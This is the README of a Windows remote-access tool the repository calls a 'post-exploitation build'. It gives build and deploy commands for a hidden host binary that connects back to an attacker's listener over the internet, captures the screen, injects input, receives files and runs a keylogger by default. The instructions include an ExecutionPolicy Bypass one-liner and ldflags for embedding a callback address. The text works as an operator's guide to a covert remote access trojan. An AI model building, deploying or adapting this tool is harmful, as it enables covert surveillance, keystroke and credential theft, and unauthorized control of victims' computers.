Files
windows-rdp-keylogger/README.md
T
2026-11-23 16:54:31 -07:00

6.3 KiB
Executable File

lanrdp (Post-Exploitation Build)

A lightweight remote-desktop tool optimized for post-exploitation use. The host binary connects back to your listener — no port forwarding, no LAN requirement, works over the internet. Auto-trusts certificates and accepts connections from any source IP.

This is not a VNC/RDP-compatible tool. The host and client speak a small custom protocol designed to be fully readable in one sitting.

How it works

  • cmd/host runs on the target machine. It captures the screen (GDI BitBlt) and injects mouse/keyboard input (SendInput). In callback mode, it dials out to your waiting client instead of listening.
  • cmd/client runs on your machine. It opens a Win32 window, renders incoming frames, and forwards your mouse/keyboard input to the host.

Security model

  • Transport: TLS 1.3 only with self-signed certificates generated on first run
  • Trust: Trust-on-first-use certificate pinning (like SSH's known_hosts), keyed by fingerprint rather than address
  • Auth: Password-based over TLS, Argon2id hashed, per-IP login throttling
  • Network filtering: Rejects non-private source IPs by default (disabled in callback mode)
  • Single session: Only one active connection at a time

Quick Start (Post-Exploitation)

1. Build the host binary:

# Interactive: prompts for password and callback address
.\build-host.ps1 -Hidden

# Or specify directly:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Hidden
# If you do not have .ps1 privelege on your machine run build-host.ps1 with this one-liner:
powershell -NoProfile -ExecutionPolicy Bypass -File .\build-host.ps1

This produces a single host.exe with no dependencies.

2. Deploy and run on target:

.\host.exe

The host automatically dials out to your listener, retrying every 10 seconds if needed.

3. Start your listener:

.\client.exe -listen 0.0.0.0:47812

When the target connects, enter the passphrase and you have control.

Keylogger

Keyboard capture is enabled by default on the host. The client shows a second window streaming captured keystrokes in real-time and writes to a timestamped log file (lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txt).

To disable keylogging, start the host with -keylog=false.

Building

Both client.exe and host.exe run on Windows only (they use Win32 APIs). You can compile them from any platform using Go's cross-compilation.

Prerequisites

Go 1.26+ is required. Install it:

  • Windows: Download the MSI installer from go.dev/dl and run it
  • Linux (Debian/Ubuntu): sudo apt update && sudo apt install golang-go
  • macOS: brew install go

Verify installation:

go version  # should show go1.26 or newer

No additional libraries, SDKs, or toolchains are needed — this is a pure Go project with no cgo dependencies.

Building on Windows

# Build client
go build -o client.exe ./cmd/client

# Build host (plain, prompts for password on first run)
go build -o host.exe ./cmd/host

# Or use the build script to embed password and callback address
.\build-host.ps1

Cross-Compiling from Linux/macOS

# Build Windows executables
GOOS=windows GOARCH=amd64 go build -o lanrdp_client.exe ./cmd/client
GOOS=windows GOARCH=amd64 go build -o lanrdp_host.exe ./cmd/host

For a host with embedded password and callback address:

# Hash the passphrase first
go run ./cmd/hashpw <<< "mypassword"

# Build with ldflags (use the hash output above)
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash=<hash> -X main.embeddedConnectAddr=your-ip:47812" -o lanrdp_host.exe ./cmd/host

Running

Host machine (target):

.\host.exe                    # Interactive, prompts for interface and password
.\host.exe -listen 0.0.0.0    # Listen on all interfaces
.\host.exe -connect <ip>:<port>  # Callback mode (dial out to client)

Client machine (your machine):

.\client.exe -host <target-ip>:47812   # Connect to host
.\client.exe -listen 0.0.0.0:47812     # Wait for callback from host

On first connection, the client shows the host's certificate fingerprint — verify it matches what the host printed, then enter a name to trust it permanently.

Multiple Devices

One client can connect to multiple hosts. Each device gets its own trust store entry keyed by certificate fingerprint:

.\client.exe -list-known  # Show all trusted devices

Each device should have its own independent passphrase (each build-host.ps1 run generates a unique hash).

Remote Access over WireGuard

lanrdp works through WireGuard without any special configuration — just bind the host to the WireGuard interface:

.\host.exe -listen 10.x.x.x -port 47812  # Bind to WireGuard IP

From your client, connect using the host's WireGuard IP after bringing up your tunnel. Most default WireGuard subnets (10.8.0.0/24, etc.) are already in the private ranges lanrdp accepts by default.

Performance Tuning

  • -fps <n> (default 12) — normal capture rate
  • -stream-fps <n> (default 30) — faster rate for stream mode
  • -keyframe-interval <seconds> (default 30) — full frame frequency

Toggle stream mode live with Ctrl+Alt+S in the viewer window. Stream mode disables mouse/keyboard control and shows an orange border around the video.

File Transfer

Drag and drop files onto the viewer window to send them to the host. Files are saved to Desktop\lanrdp-received\ on the target. Only works in normal mode (not stream mode).

Headless Mode

Build with -Hidden for no console window:

.\build-host.ps1 -Hidden

All output goes to lanrdp-data\host.log. Requires embedded passphrase (provided by build script).

Data Storage

Both executables create a lanrdp-data folder next to themselves:

  • Host: TLS certificate (host.crt/host.key), optionally password hash (config.json)
  • Client: Trusted device fingerprints (known_hosts.json)

Delete relevant files to reset trust or change passwords.

Limitations

  • No clipboard sync
  • Alt-based key combinations (Alt+Tab) not forwarded
  • Simple PNG diff encoding, not a video codec — fine for desktop control, not great for full-motion video
  • No "release all keys on disconnect" safety net